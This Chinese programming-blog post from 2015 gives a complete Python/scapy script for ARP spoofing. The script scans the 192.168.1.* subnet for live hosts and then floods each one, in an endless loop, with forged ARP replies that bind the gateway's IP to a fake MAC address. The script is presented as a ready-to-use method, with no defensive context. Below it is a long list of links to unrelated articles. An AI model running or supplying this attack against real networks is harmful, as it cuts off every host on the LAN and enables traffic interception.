python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python中Genarator函数用法分析
Apr 08 Python
python用Pygal如何生成漂亮的SVG图像详解
Feb 10 Python
python实现FTP服务器服务的方法
Apr 11 Python
Python3实现简单可学习的手写体识别(实例讲解)
Oct 21 Python
分数霸榜! python助你微信跳一跳拿高分
Jan 08 Python
Python自动化之数据驱动让你的脚本简洁10倍【推荐】
Jun 04 Python
Python 多线程搜索txt文件的内容,并写入搜到的内容(Lock)方法
Aug 23 Python
python实现引用其他路径包里面的模块
Mar 09 Python
Python3 hashlib密码散列算法原理详解
Mar 30 Python
Numpy一维线性插值函数的用法
Apr 22 Python
Python matplotlib图例放在外侧保存时显示不完整问题解决
Jul 28 Python
详解Python 中的容器 collections
Aug 17 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
php自定文件保存session的方法
2014/12/10 PHP
php备份数据库类分享
2015/04/14 PHP
php基于session锁防止阻塞请求的方法分析
2017/08/07 PHP
PHP实现浏览器中直接输出图片的方法示例
2018/03/14 PHP
CI框架实现创建自定义类库的方法
2018/12/25 PHP
修改file按钮的默认样式实现代码
2013/04/23 Javascript
javascript-表格排序(降序/反序)实现介绍(附图)
2013/05/30 Javascript
JS获取iframe中marginHeight和marginWidth属性的方法
2015/04/01 Javascript
详解JavaScript UTC时间转换方法
2016/01/07 Javascript
正则表达式(语法篇推荐)
2016/06/24 Javascript
JavaScript数据类型转换的注意事项
2016/07/31 Javascript
JS焦点图,JS 多个页面放多个焦点图的实例
2016/12/08 Javascript
浅谈mint-ui 填坑之路
2017/11/06 Javascript
在HTML文档中嵌入JavaScript的四种方法
2018/05/07 Javascript
使用 vue 实例更好的监听事件及vue实例的方法
2019/04/22 Javascript
微信小程序实现录音功能
2019/11/22 Javascript
仿照Element-ui实现一个简易的$message方法
2020/09/14 Javascript
浅谈Ant Design Pro 菜单自定义 icon
2020/11/17 Javascript
python实现得到一个给定类的虚函数
2014/09/28 Python
python找出完数的方法
2018/11/12 Python
win7 x64系统中安装Scrapy的方法
2018/11/18 Python
python查询文件夹下excel的sheet名代码实例
2019/04/02 Python
通过实例解析Python return运行原理
2020/03/04 Python
Python类和实例的属性机制原理详解
2020/03/21 Python
Python类成员继承重写的实现
2020/09/16 Python
使用css3背景渐变中的透明度来设置不同颜色的背景渐变
2014/03/31 HTML / CSS
html5.2 dialog简介详解
2018/02/27 HTML / CSS
Ruby如何定义一个类
2012/10/08 面试题
简历中自我评价范文3则
2013/12/14 职场文书
高中毕业自我鉴定
2013/12/19 职场文书
社区学雷锋活动策划方案
2014/01/30 职场文书
《孔繁森》教学反思
2014/04/17 职场文书
四风对照检查剖析材料
2014/10/07 职场文书
长征观后感
2015/06/09 职场文书
幼儿园2016年感恩节活动总结
2016/04/01 职场文书
python实现简单区块链结构
2021/04/25 Python